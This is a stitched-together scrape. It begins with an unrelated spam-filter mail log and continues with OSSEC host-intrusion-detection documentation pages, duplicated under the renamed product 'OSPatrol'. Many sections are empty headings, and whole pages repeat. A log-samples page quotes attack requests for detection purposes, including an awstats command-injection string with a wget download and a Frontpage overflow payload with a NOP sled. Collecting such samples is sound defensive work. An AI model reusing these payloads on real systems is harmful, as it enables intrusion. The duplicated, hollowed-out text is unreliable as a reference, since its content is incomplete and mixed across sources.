FEb-23-10 22:52:22 61942-04060 [BlackHELO] 62.27.57.188 <news-EMID0AA01AU0EQA01FET1015QMO00GI7QBL@news.geld.de> to: myuser@myhost.de [scoring] -- blacklisted HELO 'mx188.unister.fagms.net' --  [Herr myuser ein Rechtsstreit muss nicht teuer sei];
FEb-23-10 22:52:22 61942-04060 [DNSBL] 62.27.57.188 <news-EMID0AA01AU0EQA01FET1015QMO00GI7QBL@news.geld.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 62.27.57.188 listed in dnsbl-1.uceprotect.net dnsbl-2.uceprotect.net --  [Herr myuser ein Rechtsstreit muss nicht teuer sei] -> /usr/share/assp/spam/4060.eml;
FEb-23-10 22:55:12 62112-04231 [MsgID] 72.38.218.8 <ueusyiof1644@cgocable.net> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 22:55:13 62112-04231 [DNSBL] 72.38.218.8 <ueusyiof1644@cgocable.net> to: myuser@myhost.de [spam found] -- DNSBL: failed, 72.38.218.8 listed in dnsbl-3.uceprotect.net psbl.surriel.com --  [Exclusively for myuser 80] -> /usr/share/assp/spam/4231.eml;
FEb-23-10 22:55:48 62148-04268 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/4268.eml;
FEb-23-10 23:00:23 Info: hourly scheduler running at 23:00;
FEb-23-10 23:10:53 63052-05173 [Whitelisted] 208.42.190.180 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [NASA Awards Agency Wide Mission Network Services C] -> /usr/share/assp/notspam/5173.eml;
FEb-23-10 23:20:14 Cleaning up cache records ...;
FEb-23-10 23:20:14 DNSBLCache: cleaning cache finished; before=87, deleted=15;
FEb-23-10 23:20:14 URIBLCache: cleaning cache finished; before=4, deleted=3;
FEb-23-10 23:20:14 PTRCache: cleaning cache finished; before=7, deleted=0;
FEb-23-10 23:20:14 MXACache: cleaning cache finished; before=4, deleted=0;
FEb-23-10 23:20:14 SenderBaseCache: cleaning cache finished; before=704, deleted=6;
FEb-23-10 23:20:14 Saving cache records;
FEb-23-10 23:20:24 Saving whitelist;
FEb-23-10 23:20:24 Saving redlist;
FEb-23-10 23:23:12 63792-05914 88.101.36.86 <myuser@myhost.de> to: myuser@myhost.de [scoring:-10] -- greenlisted address 'myuser@myhost.de' --  [Hello myuser check our 80 Sale];
FEb-23-10 23:23:12 63792-05914 [SpoofedSender] 88.101.36.86 <myuser@myhost.de> to: myuser@myhost.de [scoring] -- No Spoofing Allowed --  [Hello myuser check our 80 Sale];
FEb-23-10 23:23:12 63792-05914 [MsgID] 88.101.36.86 <myuser@myhost.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 23:23:12 63792-05914 [DNSBL] 88.101.36.86 <myuser@myhost.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 88.101.36.86 listed in dnsbl-3.uceprotect.net ix.dnsbl.manitu.net --  [Hello myuser check our 80 Sale] -> /usr/share/assp/spam/5914.eml;
FEb-23-10 23:27:10 64030-06153 93.107.218.21 <myuser@myhost.de> to: myuser@myhost.de [scoring:-10] -- greenlisted address 'myuser@myhost.de' --  [Exclusively for myuser 80];
FEb-23-10 23:27:10 64030-06153 [SpoofedSender] 93.107.218.21 <myuser@myhost.de> to: myuser@myhost.de [scoring] -- No Spoofing Allowed --  [Exclusively for myuser 80];
FEb-23-10 23:27:10 64030-06153 [MsgID] 93.107.218.21 <myuser@myhost.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 23:27:11 64030-06153 [DNSBL] 93.107.218.21 <myuser@myhost.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 93.107.218.21 listed in dnsbl-3.uceprotect.net zen.spamhaus.org --  [Exclusively for myuser 80] -> /usr/share/assp/spam/6153.eml;
FEb-23-10 23:33:00 64380-06504 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [AW Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/6504.eml;
FEb-23-10 23:37:39 64658-06783 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--16.eml;
FEb-24-10 00:00:25: Rolling log file -- archive saved as 'logs/10-02-23.maillog.txt'
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OSPatrol 101: Introduction



What is OSPatrol 101?



OSPatrol 101 is an attempt to illustrate a walkthrough of an OSPatrol lifecycle.
The guide will be a walk-through from installation, to active response, and (most) everything in between.






Who is the target audience?



Anyone interested in using OSPatrol. We hope to include information for installations of all sizes.
A level of technical knowledge including (but not limited to) basic Linux administration is assumed.
This document will instruct you to edit files, but will not walk you through using a text editor.






What do I need to use OSPatrol?



A linux or unix system is required for an OSPatrol server. Microsoft Windows is only supported as an agent, and agents require a server.
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OSPatrol 101: Managing Agents
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		Windows localfiles:








		Monitoring a command:
		Monitoring the listening ports on a system:


		Check the RPM database for changes in the installed applications:








		manage_agents:
		Available actions on the manager:


		Adding an agent:


		Creating the key on the server:


		Viewing a list of the agents:


		Removing an agent:


		manage_agents on an agent:


		Using manage_agents at the command line:
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Samples of logs that contain information about attacks



Nessus scan entries in a web server log:


Nessus Scan in a web server log





Latest application scans:


Apache attack samples





Apache entry with command execution succeeded:


a.b.c.d - - [13/Jan/2006:01:07:21 -0200] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget...;echo%20YYY;echo|HTTP/1.0" 404 291









Apache scan (looking for vulnerable applications):


..code-block:: console



100.149.117.1 - - [13/Jan/2006:01:03:30 -0200] “POST /blog/xmlrpc.php HTTP/1.0” 404 288


100.149.117.1 - - [13/Jan/2006:01:03:31 -0200] “POST /blog/xmlsrv/xmlrpc.php HTTP/1.0” 404 295


100.149.117.1 - - [13/Jan/2006:01:03:32 -0200] “POST /blogs/xmlsrv/xmlrpc.php HTTP/1.0” 404 296


100.149.117.1 - - [13/Jan/2006:01:03:33 -0200] “POST /drupal/xmlrpc.php HTTP/1.0” 404 290









Squid access log (worm scans):


524 192.168.2.204 TCP_MISS/404 590 GET http://www.ordendeslichts.de/intern/xxx3.php? - DIRECT/81.201.107.6 text/html

3571 192.168.2.204 TCP_MISS/404 470 GET http://www.levada.ru/htmlarea/images/xxx3.php? - DIRECT/62.118.252.213

1 192.168.2.204 TCP_NEGATIVE_HIT/404 487 GET http://ala-bg.net/444.php - NONE/- text/html

1 192.168.2.204 TCP_NEGATIVE_HIT/404 396 GET http://www.connectesl.com/444.php - NONE/- text/html

1 192.168.2.204 TCP_NEGATIVE_HIT/404 543 GET http://www.chilotitomarino.cl/444.php - NONE/- text/html

0 192.168.2.204 TCP_NEGATIVE_HIT/404 543 GET http://www.chilotitomarino.cl/444.php - NONE/- text/html









Squid proxy misuse – Attempt to proxy SMTP over the proxy:


0 192.168.2.135 TCP_DENIED/403 1382 CONNECT 65.54.245.104:25 - NONE/- text/html

2 192.168.2.135 TCP_DENIED/403 1378 CONNECT 4.79.181.14:25 - NONE/- text/html

0 192.168.2.135 TCP_DENIED/403 1390 GET http://www.ebay.com/ - NONE/- text/html

0 59.59.106.40 TCP_DENIED/403 1380 CONNECT 203.84.195.1:25 - NONE/- text/html

8 59.59.106.40 TCP_DENIED/403 1380 CONNECT 203.84.195.1:25 - NONE/- text/html









SSH bruteforce login:


Oct  2 01:13:19 host sshd[19618]: Illegal user test from ::ffff:69.10.144.194<br>
Oct  2 01:13:19 host sshd[19618]: Address 69.10.144.194 maps to unknown.rackforce.com, but this does not map back to the address - POSSIBLE BREAKIN ATTEMPT!<br>
Oct  2 01:13:20 host sshd[19620]: Illegal user test from ::ffff:69.10.144.194<br>
Oct  2 01:13:20 host sshd[19620]: Address 69.10.144.194 maps to unknown.rackforce.com, but this does not map back to the address - POSSIBLE BREAKIN ATTEMPT!<br>
Oct  2 01:13:22 host sshd[19622]: Illegal user test from ::ffff:69.10.144.194<br>
Oct  2 01:13:22 host sshd[19622]: Address 69.10.144.194 maps to unknown.rackforce.com, but this does not map back to the address - POSSIBLE BREAKIN ATTEMPT!<br>
Oct  2 01:13:23 host sshd[19624]: Illegal user tester from ::ffff:69.10.144.194<br>
Oct  2 01:13:23 host sshd[19624]: Address 69.10.144.194 maps to unknown.rackforce.com, but this does not map back to the address - POSSIBLE BREAKIN ATTEMPT!<br>









Attempt to exploit Frontpage with payload truncated:


74.74.126.250 - - [02/Aug/2007:15:53:46 -0400] "SEARCH /\x90................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
............................................................................................................................
.....................................................................................\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 414 271

74.74.126.250 - - [02/Aug/2007:15:54:17 -0400] "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1" 406 288
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Log Samples from Squid



404 error (non-existent file):





403 error (forbidden) – Attempting to proxy SMTP over the web:





Squid syslog errors:


squid[10384]: sslReadServer: FD 16: read failure: (104) Connection reset by peer









Invalid HTTP headers:


squid[248]: WARNING: suspicious CR characters in HTTP header {Location: http://aroundthesims.online.fr/errors/404.html^MErrorDocument 500 http://aroundthesims.online.fr/errors/500.html}
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Compiling OSPatrol on Windows:


Originally posted Compiling the OSPatrol Windows Agent on Windows [http://www.immutablesecurity.com/index.php/2010/07/06/compiling-the-ospatrol-agent-on-windows/] by mstarks [http://www.immutablesecurity.com/index.php/author/mstarks/], duplicated here with permission.





Compiling the OSPatrol Windows Agent on Windows


Most people that use the OSPatrol Windows agent download a pre-compiled [http://www.ospatrol.net/main/downloads/] copy from the OSPatrol site. While that is a good option for many individual users, it may not suit those with more specific needs and/or those in enterprise environments. Users who fall into those categories could benefit from customizing the agent and maintaining internal builds in order to suit their individual needs.


There are already instructions on how to compile the Windows agent on Linux [http://dcid.me/2009/06/compiling-the-windows-agent-from-a-linux-system/], but ironically the process doesn’t work so well on Windows. I had a need to make this work on Windows, so I thought I would share the process with you.


First, there are some prerequisites.  You.ll need:



		The Nullsoft Scriptable Install System [http://nsis.sourceforge.net/Download] (NSIS)


		The `Minimalist GNU for Windows (MinGW) compiler http://sourceforge.net/downloads/mingw/>`_


		My batch file. [http://www.immutablesecurity.com/wp-content/wp_uploads/gen_win.txt]  Simply rename from gen_win.txt to gen_win.cmd.


		7-Zip for Windows [http://www.7-zip.org/download.html]


		The public domain Unix2DOS utility [http://www.efgh.com/software/unix2dos.htm]


		The latest OSPatrol for Unix/Linux <http://www.ospatrol.net/main/downloads/>`_ (this contains the Windows source code)








Here are the steps:



		Download and install the required programs. Be sure to pay special attention to the steps for properly installing and configuring MinGW [http://www.mingw.org/wiki/Getting_Started], particularly the part about modifying the PATH environment variable.


		Next, we.re going to extract OSPatrol using 7-Zip. To do so, simply right-click on the file and select 7-Zip, extract to “folder name.tar,” where folder name is the name of the package. This decompresses the archive. Navigate within that folder and repeat this step to untar the archive. At this point, you should see all of the files in the package.


		Place gen_win.txt in the srcwin32 folder and rename the extension to .cmd.


		Download Unix2DOS and place it in the srcwin32 folder


		Open a command prompt. Navigate to srcwin32, make any desired customizations, and execute gen_win.cmd. This should gather all of the required files and place them in srcwin-pkg.


		Next, we compile the Windows agent by navigating to srcwin-pkg and executing make.bat (I assume you have the chops to know how to change directories :) ).


		Now we have all of the files we need but no way to effectively install it. To generate the installer, simply execute the NSIS compiler like so: "c:\Program Files\NSIS\makensis.exe" ospatrol-installer.nsi





If you see no errors and a binary named ospatrol-win32-agent.exe, everything was successful. Congratulations, you now have a custom-made version of OSPatrol!
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OSSEC 101: Binary Agent Installation



Installation example:
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Log samples from OpenWebmail



Login sucessuful:





Logout:





Invalid access:





Invalid user:





Samples:
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OSSEC 101: One Way Communication Installation


Sometimes communication with agents can only go one way.


make setoneway



Installation example:
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Log Samples from Horde IMP



Login failed:


Mar 19 20:11:06 HORDE [error] [imp] FAILED LOGIN 1.2.3.4 to imap.lab.ossec.net:143[imap] as ccrazy [on line 287 of "/home/webmail/horde/imp/lib/IMP.php"]
Mar 19 20:11:50 HORDE [error] [imp] FAILED LOGIN 192.168.20.50 to imap.lab.ossec.net:143[imap] as julia [on line 287 of "/home/webmail/horde/imp/lib/IMP.php"]









Login sucess:


Jan 30 09:19:58 HORDE [notice] [imp] Login success for lcid@lab.ossec.net [192.168.200.201] to {imap.lab.ossec.net:143} [on line 92 of "/home/webmail/horde/imp/redirect.php"]









Critical events:


May 10 16:45:16 HORDE [emergency] [imp] DB Error: connect failed:  [nativecode=Lost connection to MySQL server during query] ** Array [on line 108 of "/home/webmail/horde/lib/Prefs/sql.php"]









Informational events:


Feb 10 03:57:59 HORDE [info] [imp] 1.2.3.4 Message sent to Sergio <xx@xx.com> from yy [on line 881 of "/home/webmail/horde/imp/compose.php"]
Feb 10 03:59:15 HORDE [info] [imp] 1.2.3.4 Message sent to yy <aa@aa.com> from zz [on line 881 of "/home/webmail/horde/imp/compose.php"]
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Windows Agent Installation
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		rule tuning


		decoders


		alert output


		front ends
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Log Samples from lighttpd



Simple GET:





DFind scan probe:





mod_proxy_backend_fastcgi:





http_auth.c:





mode_evasive connection flood attempt:





request.c:





server.c:





log.c:





connections.c:





http_req.c:
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Intergration and Deployment with cfengine


I recently required a larger deployment of OSPatrol-HIDS without too much manual intervention.  Almost every OSPatrol-HIDS tutorial I’ve across says this is possible, yet I was unable to find a tutorial demonstrating it.   So, in the spirit of open source, I’m contributing a brief overview.



Prerequisites:


In order to facilitate the key request, I chose to generate a file with the relevant information and copy it back to my cfmaster server.  I developed the following tutorial to demonstrate a cfengine copy back scenario: Copy Back with cfengine [http://divisionbyzero.net/blog/2007/05/03/copy-back-with-cfengine/].





Configuring the cfengine clients:


I added a group to my cfagent.conf for my ospatrol server named: hg_ospatrol_server (host group). I then created an ospatrol-hids.cf containing the following:



		control





My control sections sets up the variables I’ll be using in the rest of the file.


control:
  any::
    ospatrol_key_dir = (/usr/local/cfkeys/ospatrol)
    ospatrol_req_dir = ( $(util_updir)/ospatrol )







		package





I’m using yum to automatically install OSPatrol-HIDS from my local RPM Repository.


packages:
  !hg_ospatrol_server::
      ospatrol-hids                  action=install
      ospatrol-hids-client           action=install







		links





The Links section just links ospatrol-agent.conf to ospatrol.conf on the clients.


links:
  !hg_ospatrol_server::
    /var/ospatrol/etc/ospatrol.conf -> /var/ospatrol/etc/ospatrol-agent.conf







		copy





I manage the ospatrol-agent.conf in cfengine, because my cfengine configurations are all stored in a subversion repository.  The first stanza in copy just pushes the most recent copy of the ospatrol-agent.conf file to my network, setting the dynamic class dc_restart_ospatrol if the copy occurs.


copy:
  !hg_ospatrol_server::
      $(distribute)/ospatrol-agent.conf      dest=/var/ospatrol/etc/ospatrol-agent.conf
                                          server=$(policyhost)
                                          mode=640
                                          group=ospatrol
                                          type=sum
                                          define=dc_restart_ospatrol






This second stanza in the copy section copies a file from our ospatrol key directory to the client.keys file on the client.  This copy only happens if the two files are different.  It also sets dc_restart_ospatrol if the copy occurs.


$(ospatrol_key_dir)/$(host).ospatrol    dest=/var/ospatrol/etc/client.keys
                                  server=$(policyhost)
                                  mode=640
                                  group=ospatrol
                                  type=sum
                                  define=dc_restart_ospatrol







		processes





My processes block checks to ensure that OSPatrol-HIDS is running the correct daemons.


processes:
  !hg_ospatrol_server::
      "ospatrol-agentd" elsedefine=dc_restart_ospatrol
  ``hg_ospatrol_server``::
      "ospatrol-remoted" elsedefine=dc_restart_ospatrol







		shellcommands





This section is where the certificate request occurs through some devious mechanisms I designed for no other reason than to amuse myself.  Hopefully, it amuses others as well.  The first thing it does is issue a command that echo’s the client eth0 ipv4 address to a file named ‘’host.ospatrol’’ in the ospatrol request directory I defined.   The hg_ospatrol_server class will use this to generate a cert to place in the aforementioned copy block.


shellcommands:
  !hg_ospatrol_server::
      "/usr/bin/ssh util@$(policyhost) -i $(util_privkey) 'echo $(global.ipv4[eth0]) > $(ospatrol_req_dir)/$(host).ospatrol'"






The last statement checks to see if anyone defined dc_restart_ospatrol, and restart ospatrol-hids if it was defined.


dc_restart_ospatrol::
    "/sbin/service ospatrol-hids restart"









Ok, so who cares?


Well, now, our clients are setup to install, configure, and run OSPatrol-HIDS as well as issuing a request for their certificate.  However, the certificate directory on the server is empty and so none of them will actually run.  This is a problem.





Configuring the OSPatrol Server w/cfengine


The cfengine part of this was a pain for me because of the order of the actions I had defined and the extent of work I had done incorrectly in the past.  I could have figured out an interesting way to handle this, but I didn’t want to scrap my entire cfengine config and start from scratch.  So I created a perl script that allowed me to use the manage_agents script without interaction.  It does require the Expect.pm & Regexp::Common from CPAN, but is otherwise stock Perl 5.8.x.  I also wrote a shell script wrapper to handle running the perl script and culminating the results.  I saved these two scripts in /root/security, so if you put them elsewhere, make sure to update the shell script wrapper.


The scripts for managing keys can be downloaded `here < http://db0.us/~brad/cfengine-ospatrol-scripts.tar.gz>`_


The cfengine bit was really simple, it just had to call my wrapper shell script and set the class.  I did this with a control block:


control:
 hg_ospatrol_server::
   AddClasses = ( ExecResult(/root/security/ospatrol-scan.sh) )






The combination of the two scripts and this one line in the cfengine configuration handle creating, removing, and exporting the keys, as well as configuring the dc_restart_ospatrol class if there have been changes.
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OSSEC 101: Rule Tuning



This section will explain OSSEC rules.
It will also provide a step by step process for creating new rules and decoders.




Understanding the rules:





Creating a rule:





Configure the system to use the new rule:





Those CDB things would really be useful here:
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Log samples from SquirrelMail


SquirrelMail mostly connects with IMAP server 127.0.0.1 and the only one place where is information about client host is the Apache web server log. Successful login returns error code 302 (Found - redirection), unsuccessful login returns error code 200 (OK).



Login successful:





Login unsuccessful:


Corresponding lines from /var/log/maillog:





Success:





Failure:





My local rules:





Separate group “squirrelmail” allowing to get report about webmail logins:
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Server Virtual Appliance Installation
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OSSEC 101: Introduction



What is OSSEC 101?



OSSEC 101 is an attempt to illustrate a walkthrough of an OSSEC lifecycle.
The guide will be a walk-through from installation, to active response, and (most) everything in between.






Who is the target audience?



Anyone interested in using OSSEC. We hope to include information for installations of all sizes.
A level of technical knowledge including (but not limited to) basic Linux administration is assumed.
This document will instruct you to edit files, but will not walk you through using a text editor.






What do I need to use OSSEC?



A linux or unix system is required for an OSSEC server. Microsoft Windows is only supported as an agent, and agents require a server.
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by default nginx writes logs to access.log and error.log, similarly to apache.


= access log samples =
.. code-block:: console
66.75.252.36 - - [14/Aug/2008:04:54:45 +0000] “GET /wiki/skins/common/shared.css?116 HTTP/1.1” 200 818 “http:// example.com/wiki/index.php?title=Main_Page” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us)           AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1”
66.75.252.36 - - [14/Aug/2008:04:54:45 +0000] “GET /wiki/skins/common/commonPrint.css?116 HTTP/1.1” 200 1980    “http://example.com/wiki/index.php?title=Main_Page” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us)   AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1”


= error log samples =
.. code-block:: console
2008/08/14 12:59:05 [error] 7419#0: *625 directory index of “/var/www/example.com/wiki/skins/” is forbidden,    client: 66.249.71.183, server: example.com, request: “GET /wiki/skins/ HTTP/1.1”, host: “example.com”
2008/08/14 14:37:31 [error] 7418#0: *820 open() “/var/www/example.com/robots.txt” failed (2: No such file or    directory), client: 66.249.71.184, server: example.com, request: “GET /robots.txt HTTP/1.1”, host: “example.com”
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Binary Installation


On some systems a compatible compiler is not available, this leads to problems for the
standard OSPatrol install method. To work around this OSPatrol supports being built on one
system and installed on another.



Note


Due to the way OSPatrol is built the system compiling OSPatrol must be the same OS and
CPU platform for this work correctly.





Compiling OSPatrol for install on a second server


First download the OSPatrol package corresponding to the version you want to
install and unpack it (on the system with a compiler).


# wget http://www.ospatrol.net/files/ospatrol-hids-latest.tar.gz
# tar -zxvf ospatrol-hids-latest.tar.gz
# rm ospatrol-hids-latest.tar.gz






Enter in the source directory of the downloaded package and compile OSPatrol.


# cd ospatrol-*/src
# make setagent
# make all
# make build
# cd ../..






Modify ospatrol-hids-*/etc/preloaded-vars.conf to set BINARY_INSTALL to yes.


# echo "USER_BINARYINSTALL=\"y\"" >> ospatrol-hids*/etc/preloaded-vars.conf






Finally create an OSPatrol package.


# tar -cvzf ospatrol-binary.tgz ospatrol-hids*









Installation of the binary OSPatrol package


On the target system (that does not have a C compiler) download your ospatrol-binary.tgz
created in the setups above.


# cd /tmp
# scp root@builder-server.example.com:/tmp/ospatrol-binary.tgz .






Complete the installation by unarchiving the binary package and running ./install.sh.


# tar xfvz ospatrol-binary.tgz
# cd ospatrol-*
# ./install.sh






After following the installation prompts your install will be complete.
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OSSEC 101: Managing Agents




		ossec.conf and agent.conf
		Configuration by Operating System:


		Configuration by Agent Name:


		Configuration by Profile:


		Automatically restarting the agent processes when agent.conf is updated:








		Monitoring a log file:
		What log files does OSSEC monitor by default:


		Additional files to monitor:


		Monitoring /var/log/messages:


		Monitoring /var/log/apache/access_log:


		Windows localfiles:








		Monitoring a command:
		Monitoring the listening ports on a system:


		Check the RPM database for changes in the installed applications:








		manage_agents:
		Available actions on the manager:


		Adding an agent:


		Creating the key on the server:


		Viewing a list of the agents:


		Removing an agent:


		manage_agents on an agent:


		Using manage_agents at the command line:

















          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

log_samples/web/servers/lotus_domino.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
Log Samples for Lotus Domino HTTP



400 Error codes:





Full sample:
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Cisco VPN Concentrator Log Samples



Authentication rejection (failed password):


Format:


Example:





Remote peer has failed user authentication (three password failures in a row):


Format:


Example:
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Nmap correlation


Ossec can read nmap’s [http://nmap.org] grepable output [http://nmap.org/book/output-formats-grepable-output.html] files to use as a correlation tool, and to alert based on host information changes.



Configuring OSPatrol:



		Add the nmap output file on /var/ospatrol/etc/ospatrol.conf:





<ospatrol_config>
 <localfile>
    <log_format>nmapg</log_format>
    <location>/var/log/nmap-out.log</location>
  </localfile>
</ospatrol_config>







		If the file does not exist, touch it:





ospatrol-test# touch /var/log/nmap-out.log







		Restart ospatrol:





ospatrol-test# /var/ospatrol/bin/ospatrol-control restart







		Run your nmap scans (example scanning 192.168.2.0/24 network):





ospatrol-test# nmap --append_output -sU -sT -oG /var/log/nmap-out.log 192.168.2.0-255






I’ve found that this is handiest when paired with a routine nmap scan.



		So add the above line to your crontab.





ospatrol-test#crontab -e
15 * * * * nmap --append_output -sU -sT -oG /var/log/nmap-out.log 192.168.2.0-255









Example of alert when a new host is found:


** Alert 1152058913.238: mail
2006 Jul 04 20:21:53 /var/log/nmap-out.log
Rule: 15 (level 8) -> 'New host information added.'
Src IP: (none)
User: (none)
Host: 192.168.2.10, open ports: 21(tcp) 22(tcp) 80(tcp) 113(tcp) 514(udp) 1514(udp) 4500(udp)









Example of alert when a new a host information is changed:


** Alert 1152058983.487: mail
2006 Jul 04 20:23:03 /var/log/nmap-out.log
Rule: 15 (level 8) -> 'Host information changed.'
Src IP: (none)
User: (none)
Host: 192.168.2.1, open ports: 54(udp) 8080(tcp) 161(udp) 520(udp) 1025(udp) 1900(udp)
Previously open ports: 53(udp) 80(tcp) 161(udp) 520(udp) 1025(udp) 1900(udp)
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Cisco ASA Log Samples



Authentication rejected (failed password):


Format:


Example:





Authentication Successful:


Format:


Example:
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Compiling OSSEC on Windows:


Originally posted Compiling the OSSEC Windows Agent on Windows [http://www.immutablesecurity.com/index.php/2010/07/06/compiling-the-ossec-agent-on-windows/] by mstarks [http://www.immutablesecurity.com/index.php/author/mstarks/], duplicated here with permission.





Compiling the OSSEC Windows Agent on Windows


Most people that use the OSSEC Windows agent download a pre-compiled [http://www.ossec.net/main/downloads/] copy from the OSSEC site. While that is a good option for many individual users, it may not suit those with more specific needs and/or those in enterprise environments. Users who fall into those categories could benefit from customizing the agent and maintaining internal builds in order to suit their individual needs.


There are already instructions on how to compile the Windows agent on Linux [http://dcid.me/2009/06/compiling-the-windows-agent-from-a-linux-system/], but ironically the process doesn’t work so well on Windows. I had a need to make this work on Windows, so I thought I would share the process with you.


First, there are some prerequisites.  You.ll need:



		The Nullsoft Scriptable Install System [http://nsis.sourceforge.net/Download] (NSIS)


		The `Minimalist GNU for Windows (MinGW) compiler http://sourceforge.net/downloads/mingw/>`_


		My batch file. [http://www.immutablesecurity.com/wp-content/wp_uploads/gen_win.txt]  Simply rename from gen_win.txt to gen_win.cmd.


		7-Zip for Windows [http://www.7-zip.org/download.html]


		The public domain Unix2DOS utility [http://www.efgh.com/software/unix2dos.htm]


		The latest OSSEC for Unix/Linux <http://www.ossec.net/main/downloads/>`_ (this contains the Windows source code)








Here are the steps:



		Download and install the required programs. Be sure to pay special attention to the steps for properly installing and configuring MinGW [http://www.mingw.org/wiki/Getting_Started], particularly the part about modifying the PATH environment variable.


		Next, we.re going to extract OSSEC using 7-Zip. To do so, simply right-click on the file and select 7-Zip, extract to “folder name.tar,” where folder name is the name of the package. This decompresses the archive. Navigate within that folder and repeat this step to untar the archive. At this point, you should see all of the files in the package.


		Place gen_win.txt in the srcwin32 folder and rename the extension to .cmd.


		Download Unix2DOS and place it in the srcwin32 folder


		Open a command prompt. Navigate to srcwin32, make any desired customizations, and execute gen_win.cmd. This should gather all of the required files and place them in srcwin-pkg.


		Next, we compile the Windows agent by navigating to srcwin-pkg and executing make.bat (I assume you have the chops to know how to change directories :) ).


		Now we have all of the files we need but no way to effectively install it. To generate the installer, simply execute the NSIS compiler like so: "c:\Program Files\NSIS\makensis.exe" ossec-installer.nsi





If you see no errors and a binary named ossec-win32-agent.exe, everything was successful. Congratulations, you now have a custom-made version of OSSEC!
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Lists Documentation


Contents:
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Decoders Documentation


Contents:
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Compiling OSPatrol with ming:


OSPatrol’s Windows agent is compiled using MinGW [http://www.mingw.org/]


It has always been a pain to generate snapshots for Windows because it required me to open up my Windows VM (slow), push the code there, compile, etc. Well, until this week when I started to play with MinGW cross-compilation feature to completely build an Windows agent from Linux.


How it works? First, you need to install MinGW and nsis [http://nsis.sourceforge.net/Main_Page] (to build the installer). For OpenSSL support, an OpenSSL MinGW package will also be necessary.


